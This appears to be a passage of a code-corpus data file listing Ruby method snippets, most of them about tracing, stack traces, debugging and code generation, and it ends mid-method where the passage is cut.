"def frame_locals(frame)\n #This is a stub, used for indexing\n end",
"def genStartup\n \tnewLayer\n \tfor statement in @program.statements\n case statement\n when ClassDeclarationT\n \tgenClass(statement)\n when FunctionDeclarationT\n \tgenFunction(statement)\n when VarDeclarationT\n \tgenVarDeclaration(statement)\n when ConstructorDeclarationT\n \tgenConstructor(statement)\n when CallT\n \tgenCall(statement)\n when ReturnT\n \tgenReturn(statement)\n when AssignmentT\n \tgenAssignment(statement)\n when BranchT\n \tgenBranch(statement)\n when ExpressionT\n \tgenExpression(statement)\n else\n \tStructureException.new(statement,\"ParsedTree\")\n end\n end\n nextLayer\n end",
"def change_prefix_2_debug(code, variables)\n debug_code = code\n variables.each_with_index do |var, index|\n debug_code = debug_code.gsub(Regexp.new(\"\\\\b#{var}line#{VM_PREFIX}\\\\s*==\"),\n \" #{var} ==\")\n #\n debug_code = debug_code.gsub(Regexp.new(\"\\\\b#{var}line#{VM_PREFIX}\\\\s*=\"),\n \" spawn(fun() -> a#{VM_PREFIX}_performdebugs(#{index}) end)! #{var} =\")\n full_debug_code = ''\n debug_code.each_line do |line|\n my_array = scan_for_index_start_and_end(line, Regexp.new(\"\\\\b#{var}line#{VM_PREFIX}\"))\n my_array.reverse_each do |stuff|\n stop = line.index(regex_stop_or_semicolon, stuff[:ends])\n arrow = line.index(regex_arrow_with_function, stuff[:ends])\n if arrow && stop && arrow > stop\n # do nothing, because variable is not a left-hand side\n # of a function\n elsif arrow\n arrow_end = line.index(')', arrow) + 1\n line = line.insert(arrow_end, \", a#{VM_PREFIX}_performdebugs(#{index}, #{var}) \")\n end\n end\n full_debug_code += line\n end\n debug_code = full_debug_code\n end\n debug_code\nend",
"def encode_traces(traces)\n to_send = []\n traces.each do |trace|\n to_send << trace.map(&:to_hash)\n end\n encode(to_send)\n end",
"def stackview_output_contexts\n # Get the call-number-independent output values for this record\n bib_value_hash = self.output_bib_values\n\n # Get all the call numbers\n lc_calls = self.local_lc_calls + self.bib_lc_calls\n\n # For each call number, prepare an output Context -- but we collapse\n # the call numbers on unique LC class letter/whole number per \n # bib, which we can do by looking at the first 8 bytes of the normalized\n # call number. \n\n seen_call_base = {}\n\n contexts = []\n\n lc_calls.each do |call|\n # Strip some of the local prefixes we use before call numbers\n call.gsub!(/\\A *(OVERSIZE)? ?(CAGE)? */i, '') if call\n\n next if call.empty?\n\n # Add bib ID on the end before normalization, to ensure unique\n # call nums when identical accross two bibs. Makes things work less\n # confusingly. Should not disturb the parser if we separate with a space. \n normalized = Lcsort.normalize(call, :append_suffix => bib_value_hash['system_id'])\n \n # If we couldn't normalize, but it looks basically like a call number, log it. \n #if (!normalized) && call !~ /\\:/ && call =~ /\\s*([A-Z]{1,3})\\s*(\\d+(\\s*?\\.\\s*?(\\d+)))/\n # puts \"Bad call number #{call} at https://catalyst.library.jhu.edu/catalog/#{orig[\"id\"].first}\" \n #end\n\n next unless normalized\n\n call_base = normalized.slice(0,7)\n next if seen_call_base.has_key?(call_base)\n \n seen_call_base[call_base] = true\n\n # Make a new hash for this call number specifically. \n o = bib_value_hash.dup\n o[\"sort_key_type\"] = \"lc\"\n o[\"sort_key_display\"] = call\n o[\"sort_key\"] = normalized\n o[\"created_at\"] = Time.now\n\n ocontext = Traject::Indexer::Context.new(:output_hash => o, :source_record => self.source_record)\n contexts << ocontext\n end\n\n return contexts\n end",
"def stacks(arg)\n ya_ta = tuc(\"x_ya\")\n ra_ta = tuc(\"x_ra\")\n la_ta = tuc(\"x_la\")\n wa_ta = tuc(\"x_wa\")\n\n ra_go = tuc(\"ra_x\")\n la_go = tuc(\"la\")\n sa_go = tuc(\"sa\")\n\n h = Hash.[](\n # subscript YA\n \"ky\"=>tuc(\"ka\")+ya_ta, \"khy\"=>tuc(\"kha\")+ya_ta, \"gy\"=>tuc(\"ga\")+ya_ta,\n \"py\"=>tuc(\"pa\")+ya_ta, \"phy\"=>tuc(\"pha\")+ya_ta, \"by\"=>tuc(\"ba\")+ya_ta, \"my\"=>tuc(\"ma\")+ya_ta,\n # subscript RA\n \"kr\"=>tuc(\"ka\")+ra_ta, \"khr\"=>tuc(\"kha\")+ra_ta, \"gr\"=>tuc(\"ga\")+ra_ta,\n \"tr\"=>tuc(\"ta\")+ra_ta, \"thr\"=>tuc(\"tha\")+ra_ta, \"dr\"=>tuc(\"da\")+ra_ta,\n \"pr\"=>tuc(\"pa\")+ra_ta, \"phr\"=>tuc(\"pha\")+ra_ta, \"br\"=>tuc(\"ba\")+ra_ta, \"mr\"=>tuc(\"ma\")+ra_ta,\n \"shr\"=>tuc(\"sha\")+ra_ta, \"sr\"=>tuc(\"sa\")+ra_ta, \"hr\"=>tuc(\"ha\")+ra_ta,\n # subscript LA\n \"kl\"=>tuc(\"ka\")+la_ta, \"gl\"=>tuc(\"ga\")+la_ta, \"bl\"=>tuc(\"ba\")+la_ta,\n \"zl\"=>tuc(\"za\")+la_ta, \"rl\"=>tuc(\"ra\")+la_ta, \"sl\"=>tuc(\"sa\")+la_ta,\n # subscript WA\n \"kw\"=>tuc(\"ka\")+wa_ta, \"khw\"=>tuc(\"kha\")+wa_ta, \"gw\"=>tuc(\"ga\")+wa_ta, \"grw\"=>tuc(\"ga\")+ra_ta+wa_ta,\n \"cw\"=>tuc(\"ca\")+wa_ta, \"nyw\"=>tuc(\"nya\")+wa_ta, \"tw\"=>tuc(\"ta\")+wa_ta,\n \"dw\"=>tuc(\"da\")+wa_ta, \"tsw\"=>tuc(\"tsa\")+wa_ta, \"tshw\"=>tuc(\"tsha\")+wa_ta,\n \"zhw\"=>tuc(\"zha\")+wa_ta, \"zw\"=>tuc(\"za\")+wa_ta, \"rw\"=>tuc(\"ra\")+wa_ta,\n \"lw\"=>tuc(\"la\")+wa_ta, \"shw\"=>tuc(\"sha\")+wa_ta, \"sw\"=>tuc(\"sa\")+wa_ta, \"hw\"=>tuc(\"ha\")+wa_ta,\n # subscript 'A\n \"t'\"=>tuc(\"ta\")+tuc(\"x_'a\"),\n # superscript RA\n \"rk\"=>ra_go+tuc(\"x_ka\"), \"rg\"=>ra_go+tuc(\"x_ga\"), \"rng\"=>ra_go+tuc(\"x_nga\"), \"rj\"=>ra_go+tuc(\"x_ja\"),\n \"rny\"=>ra_go+tuc(\"x_nya\"), \"rt\"=>ra_go+tuc(\"x_ta\"), \"rd\"=>ra_go+tuc(\"x_da\"), \"rn\"=>ra_go+tuc(\"x_na\"), \"rm\"=>ra_go+tuc(\"x_ma\"),\n \"rb\"=>ra_go+tuc(\"x_ba\"), \"rts\"=>ra_go+tuc(\"x_tsa\"), \"rdz\"=>ra_go+tuc(\"x_dza\"),\n # superscript LA\n \"lk\"=>la_go+tuc(\"x_ka\"), \"lg\"=>la_go+tuc(\"x_ga\"), \"lng\"=>la_go+tuc(\"x_nga\"), \"lc\"=>la_go+tuc(\"x_ca\"),\n \"lj\"=>la_go+tuc(\"x_ja\"), \"lt\"=>la_go+tuc(\"x_ta\"), \"ld\"=>la_go+tuc(\"x_da\"), \"lp\"=>la_go+tuc(\"x_pa\"),\n \"lb\"=>la_go+tuc(\"x_ba\"), \"lh\"=>la_go+tuc(\"x_ha\"),\n # superscript SA\n \"sk\"=>sa_go+tuc(\"x_ka\"), \"sg\"=>sa_go+tuc(\"x_ga\"), \"sng\"=>sa_go+tuc(\"x_nga\"), \"sny\"=>sa_go+tuc(\"x_nya\"),\n \"st\"=>sa_go+tuc(\"x_ta\"), \"sd\"=>sa_go+tuc(\"x_da\"), \"sn\"=>sa_go+tuc(\"x_na\"), \"sp\"=>sa_go+tuc(\"x_pa\"),\n \"sb\"=>sa_go+tuc(\"x_ba\"), \"sm\"=>sa_go+tuc(\"x_ma\"), \"sts\"=>sa_go+tuc(\"x_tsa\"))\n h[arg]\n end",
"def rubylog_segments\n segments = [[0]]\n vars = []\n\n scan RUBYLOG_VAR_REGEXP do\n match = Regexp.last_match\n segments.last << match.begin(0)\n segments << [match.end(0)]\n vars << rubylog_get_string_variable(match[1], match[2])\n end\n \n\n segments.last << length\n segments = segments.map{|s|self[s[0]...s[1]]}\n return segments, vars\n end",
"def gen_view(filename, addr_from, addr_to, line_from, line_to, split_files, row_div_arg, addr_div_arg, verbose = false)\n\tputs \"\\nGenerating preview ...\"\n\t\n\tbegin\n\t\th = {}\n\t\trow = -1\n\t\t\n\t\tputs \"\\n\\tFilling hash tree ...\" if verbose # fill hash tree\n\t\tFile.open(filename, 'rb').each do |line|\n\t\t\trow += 1\n\t\t\tnext if row < line_from\n\t\t\t\n\t\t\twords = line.split(/\\W+/)\n\t\t\taddr = words[1].hex\n\t\t\tnext if addr < addr_from or addr > addr_to\n\t\t\t\n\t\t\tnode = h\n\t\t\t\n\t\t\t(2*GS[:addr_len]-1).downto(0) do |i|\n\t\t\t\tk = ((addr >> (4*i)) & 0xf)\n\t\t\t\tnode[k] = {} unless node.has_key? k\n\t\t\t\tnode = node[k]\n\t\t\tend\n\t\t\t\n\t\t\tnode[:data] = [] if node[:data].nil?\n\t\t\tnode[:data] << {row: row, addr: addr, length: words[2].hex, val: 1}\n\t\t\t\n\t\t\tnode[:dumb0] = 0; node[:dumb1] = 0; node[:dumb2] = 0; node[:dumb3] = 0; node[:dumb4] = 0; node[:dumb5] = 0; node[:dumb6] = 0; node[:dumb7] = 0; node[:dumb8] = 0; node[:dumb9] = 0; node[:dumba] = 0; node[:dumbb] = 0; node[:dumbc] = 0; node[:dumbd] = 0; node[:dumbe] = 0; node[:dumbf] = 0;\n\t\t\t\n\t\t\tbreak if row > line_to\n\t\tend\n\t\t\n\t\trow_div = row_div_arg.nil? ? ((row - line_from)/GRAPH_HEIGHT + 1) : row_div_arg.hex\n\t\t\n\t\tputs \"\\tSplitting tree ...\" if verbose # find important nodes\n\t\tnodes = [h]\n\t\tsingletons = []\n\t\tbegin\n\t\t\t# find a node with minimum subnodes\n\t\t\tminimal = nodes.min_by{|node|node.length}\n\t\t\tbreak if minimal.has_key?(:data) or (nodes.length + minimal.length - 2 > split_files)\n\t\t\t# replace it with these nodes\n\t\t\tnodes.delete_if{|node|node == minimal}\n\t\t\tminimal.each do |key, value|\n\t\t\t\tnodes << value\n\t\t\tend\n\t\t\t# go deeper if any node has single subnode\n\t\t\tbegin\n\t\t\t\tchange = false\n\t\t\t\tnodes.select{|no|no.length == 1}.each do |single|\n\t\t\t\t\tnodes.delete_if{|node|node == single}\n\t\t\t\t\tnodes << single.values.first\n\t\t\t\t\tchange = true\n\t\t\t\tend\n\t\t\tend while change\n\t\t\t# move singletons\n\t\t\tnodes.select{|no|no.has_key? :data}.each do |singleton|\n\t\t\t\tnodes.delete_if{|node|node == singleton}\n\t\t\t\tsingletons << singleton\n\t\t\tend\n\t\tend while nodes.length < split_files\n\t\t\n\t\tfilenames = []\n\t\tputs \"\\tGenerating plots ...\" if verbose # generate plots\n\t\tnodes.each do |node|\n\t\t\tputs \"\\t----------------\\n\\tStarting new node\" if verbose\n\t\t\tstart = node\n\t\t\tstop = node\n\t\t\twhile not start.has_key? :data\n\t\t\t\tstart = start[start.keys.sort.first]\n\t\t\tend\n\t\t\twhile not stop.has_key? :data\n\t\t\t\tstop = stop[stop.keys.sort.last]\n\t\t\tend\n\t\t\tstart_addr = start[:data].first[:addr]\n\t\t\tstop_addr = stop[:data].first[:addr]\n\t\t\t\n\t\t\taddr_div = addr_div_arg.nil? ? ((stop_addr - start_addr)/GRAPH_WIDTH + 1) : addr_div_arg.hex\n\t\t\t\n\t\t\tputs \"\\tAdding points to %0#{2*GS[:addr_len]}x--%0#{2*GS[:addr_len]}x\" % [start_addr, stop_addr] if verbose\n\t\t\tp = Plot.new\n\t\t\t\n\t\t\tadd_node_to_plot(node, p, start_addr, line_from, addr_div, row_div)\n\t\t\t\n\t\t\tputs \"\\tTop line: #{line_from}\\n\\tLines per pixel: #{row_div}\\n\\tLeftmost address: #{\"0x%x\" % start_addr}\\n\\tAddresses per pixel: #{addr_div}\" if verbose\n\t\t\t\n\t\t\tputs \"\\tPlotting %0#{2*GS[:addr_len]}x--%0#{2*GS[:addr_len]}x\" % [start_addr, stop_addr] if verbose\n\t\t\toutfile = \"#{filename}__%0#{2*GS[:addr_len]}x--%0#{2*GS[:addr_len]}x__#{row_div}x#{addr_div}.png\" % [start_addr, stop_addr]\n\t\t\tp.plot(outfile)\n\t\t\tfilenames << outfile\n\t\tend\n\t\t\n\t\treturn filenames\n\t\t\n\trescue Errno::ENOENT\n\t\t$stderr.puts \"File '\" + filename + \"' does not exist!\"\n\tend\nend",
"def trace\n attributes.fetch(:trace)\n end",
"def stacktrace\n result = caller().reduce([]) do |memo, loc|\n if loc =~ /\\A(.*\\.pp)?:([0-9]+):in\\s(.*)/\n # if the file is not found we set to code\n # and read from Puppet[:code]\n # $3 is reserved for the stacktrace type\n memo << [$1.nil? ? :code : $1, $2.to_i]\n end\n memo\n end.reverse\n end",
"def mkTexTraceDisplay(trace)\r\n trace.gsub(\"_\", \"\\\\_\")\r\n end",
"def run_first_pass\n @labels = Hash.new\n\n line_num=-1\n source = File.open(@source_file_path).read\n source.each_line do |line|\n next if line.start_with?('//') # Skip comments\n next if line.to_s == '' or line.to_s == '\\n' # Skip new lines and empty strings\n\n line.strip!\n\n if line.start_with?('(')\n line.tr!('()', '')\n @labels[\"#{line}\"] = line_num - 1\n next\n end\n\n line_num += 1\n end\n\n puts @labels\n puts Hasm::TableHelper.create_table('Labels', @labels.keys)\n end",
"def trace\n DSL.new(@source.append(Trace.new))\n end",
"def dump()\n puts \"fan_home = #@fan_home\"\n puts \"fan_bin = #@fan_bin\"\n puts \"fan_lib = #@fan_lib\"\n puts \"fan_lib_fan = #@fan_lib_fan\"\n puts \"fan_lib_java = #@fan_lib_java\"\n puts \"fan_lib_net = #@fan_lib_net\"\n puts \"fan_src = #@fan_src\"\n puts \"src_jfan = #@src_jfan\"\n puts \"src_jsfan = #@src_jsfan\"\n puts \"src_nfan = #@src_nfan\"\n puts \"java_home = #@java_home\"\n puts \"javac = #@javac\"\n end",
"def sub_vars\n # Get list of variables, remove reserved\n get_var_names.each do |var, _sub|\n code.gsub!(var, \"$#{@rig.init_var(var)}\")\n end\n\n code\n end",
"def json()\n @trace_arr.map{|trace| \n tile = trace.json \n @tiles[trace.id] = trace\n trace.id\n }\n end",
"def output_functions\n # This is a bit ugly, but handles the case of lambdas or inner\n # functions being added during the compilation... Should probably\n # refactor.\n while f = @global_functions.shift\n name = f[0]\n func = f[1]\n # create a function scope for each defined function and compile it appropriately.\n # also pass it the current global scope for further lookup of variables used\n # within the functions body that aren't defined there (global variables and those,\n # that are defined in the outer scope of the function's)\n\n fscope = FuncScope.new(func)\n\n pos = func.body.respond_to?(:position) ? func.body.position : nil\n fname = pos ? pos.filename : nil\n\n @e.include(fname) do\n # We extract the usage frequency information and pass it to the emitter\n # to inform the register allocation.\n varfreq = func.body.respond_to?(:extra) ? func.body.extra[:varfreq] : []\n @e.func(name, pos, varfreq) do\n minargs = func.minargs\n\n compile_if(fscope, [:lt, :numargs, minargs],\n [:sexp,[:call, :printf, \n [\"ArgumentError: In %s - expected a minimum of %d arguments, got %d\\n\",\n name, minargs - 2, [:sub, :numargs,2]]], [:div,1,0] ])\n\n if !func.rest?\n maxargs = func.maxargs\n compile_if(fscope, [:gt, :numargs, maxargs],\n [:sexp,[:call, :printf, \n [\"ArgumentError: In %s - expected a maximum of %d arguments, got %d\\n\",\n name, maxargs - 2, [:sub, :numargs,2]]], [:div,1,0] ])\n end\n\n if func.defaultvars > 0\n @e.with_stack(func.defaultvars) do \n func.process_defaults do |arg, index|\n @e.comment(\"Default argument for #{arg.name.to_s} at position #{2 + index}\")\n @e.comment(arg.default.inspect)\n compile_if(fscope, [:lt, :numargs, 1 + index],\n [:assign, (\"#\"+arg.name.to_s).to_sym, arg.default],\n [:assign, (\"#\"+arg.name.to_s).to_sym, arg.name])\n end\n end\n end\n\n compile_eval_arg(fscope, func.body)\n\n @e.comment(\"Reloading self if evicted:\")\n # Ensure %esi is intact on exit, if needed:\n reload_self(fscope)\n end\n end\n end\n end",
"def trace (begX, begY, endX, endY)\n beg_x = 2 * begY + 1\n beg_y = 2 * begX + 1\n end_x = 2 * endY + 1\n end_y = 2 * endX + 1\n @visit = Array.new(@maze_table.size){Array.new(@maze_table[0].size, false)}\n @track = []\n if scout(beg_x, beg_y, end_x, end_y)\n printf \"it is a path between %s and %s \\n\", [begX, begY], [endX, endY]\n @track.each do |i|\n printf \"Position: (%s, %s)\\n\", (i[1]-1)/2, (i[0]-1)/2 if i[0] % 2 ==1 && i[1] % 2 == 1\n end\n end\n end",
"def precompiled(locals); end",
"def trace(begX, begY, endX, endY); MazeSolver.new(plane,graph).trace(begX, begY, endX, endY) end",
"def caller\n %x{\n function getErrorObject(){\n try { throw Error('') } catch(err) { return err; }\n }\n\n\n var err = getErrorObject();\n }\n stack = `err.stack`\n caller_lines = stack.split(\"\\n\")[4..-1]\n caller_lines.reject! { |l| l.strip.empty? }\n\n result_formatter = lambda do |filename, line, method=nil|\n \"#{filename}:#{line} in `(#{method ? method : 'unknown method'})'\"\n end\n\n caller_lines.map do |raw_line|\n if match = /\\s*at (.*) \\((\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # catch phantom/no 2nd line/col #\n elsif match = /\\s*at (.*) \\((\\S+):(\\d+)/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (.*):(\\d+)/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # Firefox - Opal.modules[\"rspec/core/metadata\"]/</</</</def.$populate@http://192.168.59.103:9292/assets/rspec/core/metadata.self.js?body=1:102:13\n elsif match = /(.*?)@(\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n # webkit - http://192.168.59.103:9292/assets/opal/rspec/sprockets_runner.js:45117:314\n elsif match = /(\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n else\n \"#{filename}:-1 in `(can't parse this stack trace)`\"\n end\n end\n end",
"def get_datalog_trace\r\n transaction_id=params[0]\r\n trace_label=params[1]\r\n site_id=params[2]\r\n start_freq=params[3]\r\n stop_freq=params[4]\r\n start_ts=params[5] \r\n stop_ts=params[6] \r\n freq_res=params[7] \r\n ts_res=params[8]\r\n datalog_range=Datalog.get_range(site_id)\r\n logger.debug datalog_range.inspect()\r\n logger.info(\"START TS : #{start_ts}\")\r\n logger.info(\"STOP TS : #{stop_ts}\")\r\n ds={}\r\n\t \r\n\t###TODO\r\n\t\r\n\t \r\n\t \r\n if (datalog_range.nil?) || datalog_range[:max_ts].nil? || datalog_range[:max_ts].nil?\r\n ds[\"min_freq\"]=datalog_range[:min_freq]\r\n ds[\"max_freq\"]=datalog_range[:max_freq]\r\n ds[\"min_ts\"]=nil\r\n ds[\"max_ts\"]=nil\r\n ds[\"transaction_id\"]=transaction_id\r\n ds[\"trace_label\"]=trace_label\r\n else\r\n one_hour_ago=datalog_range[:max_ts]-3600\r\n logger.debug \"One hour ago #{one_hour_ago.to_s} Most Recent #{datalog_range[:max_ts]}\"\r\n overtime_flag=params.key?(9) ? params[9] : false\r\n site=Site.find(site_id)\r\n profile=nil\r\n anl=nil\r\n if site.nil?\r\n raise \"Failed to find Site.\"\r\n else\r\n logger.debug \"Getting Profile for site #{site.id}\"\r\n profile=site.get_profile()\r\n end\r\n datalog=Datalog.summarize_datalogs(\r\n {\r\n :site_id=>site_id, \r\n :start_ts=>start_ts,\r\n :stop_ts=>stop_ts,\r\n :start_freq=>start_freq,\r\n :stop_freq=>stop_freq\r\n },\r\n overtime_flag)\r\n recent_datalog=Datalog.summarize_datalogs(\r\n {\r\n :site_id=>site_id, \r\n :start_ts=>one_hour_ago,\r\n :stop_ts=>datalog_range[:max_ts],\r\n :start_freq=>start_freq,\r\n :stop_freq=>stop_freq\r\n },\r\n overtime_flag)\r\n ds[\"recent\"]=recent_datalog[:max]\r\n datalog_list=[]\r\n ds[\"trace_label\"]=trace_label\r\n ds[\"avg\"]=datalog[:avg]\r\n ds[\"min\"]=datalog[:min]\r\n ds[\"max\"]=datalog[:max]\r\n ds[\"total\"]=datalog[:total]\r\n ds[\"noise_floor\"]=datalog[:noise_floor] if overtime_flag\r\n logger.debug \"Datalog length #{ds[\"max\"].length}\"\r\n if ((!profile.nil?) && (!overtime_flag))\r\n logger.debug \"Got Profile #{profile.name()}, #{start_freq}, #{stop_freq}\"\r\n ds[\"profile_id\"]=profile.id\r\n ds[\"profile_name\"]=profile.name\r\n ds[\"profile_ref\"]=profile.trace(start_freq, stop_freq)\r\n #ds[\"profile_ref\"]=profile.trace()\r\n ds[\"profile_major\"]=profile.major_offset\r\n ds[\"profile_minor\"]=profile.minor_offset\r\n ds[\"profile_loss\"]=profile.loss_offset\r\n ds[\"profile_loss_flag\"]=profile.link_loss\r\n else\r\n logger.debug \"Did not get Profile #{profile.inspect()}\"\r\n end\r\n logger.debug datalog.inspect()\r\n logger.debug \"Finished Total\"\r\n if datalog.key?(:freq)\r\n ds[\"freq\"]=datalog[:freq]\r\n else\r\n ds[\"freq\"]=[]\r\n end\r\n if datalog.key?(:time)\r\n ds[\"time\"]=datalog[:time]\r\n else\r\n ds[\"time\"]=[]\r\n end\r\n ds[\"min_freq\"]=datalog[:min_freq]\r\n ds[\"max_freq\"]=datalog[:max_freq]\r\n ds[\"min_ts\"]=datalog[:min_ts]\r\n ds[\"max_ts\"]=datalog[:max_ts]\r\n ds[\"transaction_id\"]=transaction_id\r\n \r\n \r\n\t \r\n logger.debug ds[\"freq\"].inspect()\r\n logger.debug \"Finished Transaction. Now building XML\"\r\n end\r\n respond_to do |format|\r\n format.amf { \r\n render :amf => ds\r\n }\r\n end\r\n end",
"def initialize(mrg = nil)\n @dbg={\n :hot =>nil,\n :stack =>nil,\n :parse =>nil,\n :constanta=>nil\n }\n \n #regex for w2tags \n @rg_tag = [\n /^[ \\t]*(%)([!]?[\\w\\-&\\/:#.\\[\\]]+\\{.*\\}[=]*)!([^\\n]*)\\n/,\n /^[ \\t]*(%)([!]?[\\w\\-&\\/:#.\\[\\]=]+)!([^\\n]*)([\\n])/]\n \n #regex for function tags \n @rg_hot = [\n /(%)([!]?[ \\t\\$\\w\\-&\\/:#.\\[\\]%=]+\\{.*\\}[=]*)~([^\\n]*)\\n/,\n /(%)([!]?[ \\t\\$\\w\\-&\\/:#.\\[\\]%=]+)~([^\\n]*)\\n/ ]\n @rgx = nil #current regular expression\n @mrg = mrg #another hot to include\n @ext = 'erb' #target extension \n @hot = 'hot' #source of file hot\n @src_path= '' #path for source file\n @silent = false #for test\n\n @ron = 0 #strip current source line if size it empty or not\n @spc = '' #current begining space of current source line\n @ind = ' ' #indentation size\n @row = 'row' #current source line\n @key = 'key' #key extracted from regex function\n\n @mem_hot= nil #@tg_nex will be use (for \"%\") if this var == nil\n @mem_tag= {'^'=>\"%div$*!\"} #get memorize of w2tag \n @mem_var= {'$me'=>\"wharsojo\"}\n @mem_var['$basepath'] = File.basename(File.expand_path('.'))\n\n @tg_hot = {} #{'div'=>[proc{|this|\"%div$*!\"},nil]} #collection of tag_hot after reading from source hot\n @tg_nex = {} #tag next activate on shortcut tag \"%\"\n @tg_end = [] #momorize tag end from regex function\n @doc_src= []\n @doc_out= []\n \n @tagr = proc do |this|\n @key.strip!\n tags_created = \"<#{@key}\"\n tags_created << \" #{@mem_var[\"*all*\"].strip}\" if @mem_var[\"*all*\"]!='' \n #tags_created << \" #{@att}\" if @att!=''\n if @txt=='/'\n tags_created << \"/>\\n\"\n else\n tags_created << '>'\n @ln_end = \" \" \n if @txt=='' \n @tg_end.push \"#{@spc}</#{@key}>#{@ln_end}\"\n p \"Stack: #{@tg_end}\" if @dbg[:stack]\n else\n if @txt.gsub!(/\\<$/,'')\n @tg_end.push \"#{@spc}</#{@key}>#{@ln_end}\"\n else\n @ln_end = \"</#{@key}>#{@ln_end}\"\n end\n if @mem_var[\"*code*\"] && @mem_var[\"*code*\"]!=''\n tags_created << @mem_var[\"*code*\"].gsub('$*',@txt)\n else\n tags_created << @txt.gsub(/^ +/,'') #remove gsub if don't want auto trim left\n end\n end\n end\n tags_created\n end\n @skiper= []\n public_methods.each do |f|\n send(f) if /_initialize$/ =~ (meth= f.to_s)\n @skiper << [$1,'_skip'].join.to_sym if /(.*)_skip$/ =~ meth\n end\n end",
"def init_log_values(stencil, context)\n log_values = {}\n log_vars = stencil.fetch(:vars, [])\n\n log_vars.each do |v|\n if v.respond_to?(:each_pair)\n log_values[v.keys.first] = context.eval(v.values.first.to_s)\n else\n log_values[v] = context.eval(v.to_s)\n end\n end\n\n log_values = log_values.each_with_object({}) { |(k, v), h| h[k.to_sym] = v.to_s.dup.force_encoding('UTF-8') }\n\n log_values.empty? ? nil : log_values\n end",
"def to_s()\n var_Message = \" ENVS Frame:\"\n \n if(@VAR_BINDER_LIST == nil)\n return var_Message += \" nil\"\n end\n\n var_Message += \"\\n\"\n \n @VAR_BINDER_LIST.each {|binder| var_Message += \" \" + binder.to_s() + \"\\n\"}\n \n return var_Message\n end",
"def trail_builder(urls)\n urls.each do |trail|\n page = Nokogiri::HTML(open(TARGET_DOMAIN + trail))\n script = page.css('script')[3]\n trail_id = script.children.to_s.match(/TRAIL_ID\\s=\\s\\\"(\\d+)\\\"/)[1]\n gpx_name = script.children.to_s.match(/GPX_URL\\s=\\s\\\"(.+)\\\"/)[1]\n gpx_url = TARGET_DOMAIN + \"/content/gpsData/gps\" + trail_id + \"-\" + gpx_name + \".gpx\"\n end\nend",
"def remove_eval_internals_from_backtrace(backtrace)\n regexp = /^\\(eval\\)|^<main>/ # SketchUp 2017 | SketchUp 2014+\n line_number = backtrace.length\n until regexp =~ backtrace[line_number-1] || line_number == 0\n line_number -= 1\n end\n backtrace.slice!(line_number..-1)\n end",
"def create_traceflow(traceflow_request, opts = {})\n data, _status_code, _headers = create_traceflow_with_http_info(traceflow_request, opts)\n data\n end",
"def format!\n return unless trace\n return trace unless root_span\n\n # Because the trace API does not support\n # trace metadata, we must put our trace\n # metadata on the root span. This \"root span\"\n # is needed by the agent/API to ingest the trace.\n\n # Apply generic trace tags. Any more specific value will be overridden\n # by the subsequent calls below.\n set_trace_tags!\n\n set_resource!\n\n tag_agent_sample_rate!\n tag_hostname!\n tag_lang!\n tag_origin!\n tag_process_id!\n tag_rule_sample_rate!\n tag_runtime_id!\n tag_rate_limiter_rate!\n tag_sample_rate!\n tag_sampling_decision_maker!\n tag_high_order_trace_id!\n tag_sampling_priority!\n tag_profiling_enabled!\n\n trace\n end",
"def trace_declarations(source_file, declarations)\n set_trace_func lambda { |event, file, line, id, binding, classname|\n defined_class = standard_class_declared(event, binding) || dynamic_class_declared(id, classname, file, line)\n break unless defined_class\n defined_class_name = defined_class.is_a?(String) ? defined_class : defined_class.name\n declarations[defined_class_name] ||= []\n declarations[defined_class_name] << [ file, line ]\n }\n silence_warnings { load source_file }\n declarations\n end",
"def build_details\n require \"wrong/rainbow\" if Wrong.config[:color]\n s = \"\"\n parts = self.parts\n parts.shift # remove the first part, since it's the same as the code\n\n details = []\n\n if parts.size > 0\n parts.each do |part|\n begin\n value = eval(part, block.binding)\n unless part == value.inspect # this skips literals or tautologies\n if part =~ /\\n/m\n part.gsub!(/\\n/, newline(2))\n part += newline(3)\n end\n value = pretty_value(value, (4 + part.length + 4))\n if Wrong.config[:color]\n part = part.color(:blue)\n value = value.color(:magenta)\n end\n details << indent(4, part, \" is \", value)\n end\n rescue Exception => e\n raises = \"raises #{e.class}\"\n if Wrong.config[:color]\n part = part.color(:blue)\n raises = raises.bold.color(:red)\n end\n formatted_exeption = if e.message and e.message != e.class.to_s\n indent(4, part, \" \", raises, \": \", indent_all(6, e.message))\n else\n indent(4, part, \" \", raises)\n end\n details << formatted_exeption\n end\n end\n end\n\n details.uniq!\n if details.empty?\n \"\"\n else\n \"\\n\" + details.join(\"\\n\") + \"\\n\"\n end\n\n end",
"def local_variables() end",
"def symbolicate!\n return if @isSymbolicated\n buildgdbcommandfile\n gdbout = rungdb\n @symbols = []\n gdbout.lines.each do |l|\n @symbols << Symbolized.new(l)\n end\n \n addresses.each do |a|\n @symbols.each do |s|\n if s.startaddress && a >= s.startaddress && a <= s.endaddress\n report.gsub!(/(0x.*#{a.to_s(16)}) (.*)/, \"#{$1} #{s.symbol} (#{s.filename}:#{s.line})\")\n end # address matches\n end # @symbols.each\n end# addresses.each\n @isSymbolicated = true\n end",
"def info_locals\n @queue << \"i l\"\n end",
"def save_env\n [@src, @tree, @block_ial, @stack, @text_type]\n end",
"def analyzer(logs_folder='log/bdsp_logs/all')\n @classes = { \"models\" => { 'mtds' => {} }, \"controllers\" => { 'mtds' => {} }, \"other\" => { 'mtds' => {} } }\n @methods = { \"models\" => {}, \"controllers\" => {}, \"other\" => {} }\n @features = {}\n logfiles = Dir[logs_folder+\"/*\"]\n logfiles.each do |logfile|\n logfile_name = logfile.split('/')[-1]\n puts \"Starting on #{logfile_name}\"\n @story_classes = { \"models\" => { 'mtds' => {} }, \"controllers\" => { 'mtds' => {} }, \"other\" => { 'mtds' => {} } }\n @story_methods = { \"models\" => {}, \"controllers\" => {}, \"other\" => {} }\n File.open(logfile, 'r') do |tp_log|\n tp_log.each_line do |logline|\n log_entry = logline.split(',').each {|l| l.strip! }\n kinds = ['models','controllers'] ; kind = 'other'\n kinds.each { |k| kind = log_entry[0].include?(k) ? k : kind} \n klasses = log_entry[1].split(':').reject(&:empty?)\n if kind == 